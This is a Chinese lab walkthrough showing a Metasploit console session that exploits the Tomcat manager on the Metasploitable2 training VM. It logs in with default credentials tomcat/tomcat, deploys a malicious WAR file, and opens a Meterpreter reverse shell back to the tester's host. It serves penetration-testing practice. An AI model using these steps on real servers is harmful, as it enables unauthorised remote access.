Metasploitable2 - tcp port 8180 - tomcat


如果知道tomcat页面/manager的管理帐号与密码,可部署精心制作的war文件,以获得服务器相关的权限。

msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST                      yes       The target address
   RPORT     80               yes       The target port
   USERNAME                   no        The username to authenticate as
   VHOST                      no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.1.111
RHOST => 192.168.1.111
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf exploit(tomcat_mgr_deploy) > run

[*] Started reverse handler on 192.168.1.113:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6476 bytes as XLwr0WTDQwQK4R7ahMzSCdcKSA.war ...
[*] Executing /XLwr0WTDQwQK4R7ahMzSCdcKSA/RPba2ccc2dFiBsijOiDZGBA9V04A0U.jsp...
[*] Undeploying XLwr0WTDQwQK4R7ahMzSCdcKSA ...
[*] Sending stage (30355 bytes) to 192.168.1.111
[*] Meterpreter session 4 opened (192.168.1.113:4444 -> 192.168.1.111:51992) at 2014-08-01 00:43:41 -0400

meterpreter > getuid
Server username: tomcat55


参考地址:
http://chousensha.github.io/blog/2014/06/03/pentest-lab-metasploitable-2/
http://web.nmsu.edu/~alejbaca/portfolio/senior_project/2-Metasploitable%202%20Exploitability%20Guide%20_%20SecurityStreet.pdf
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值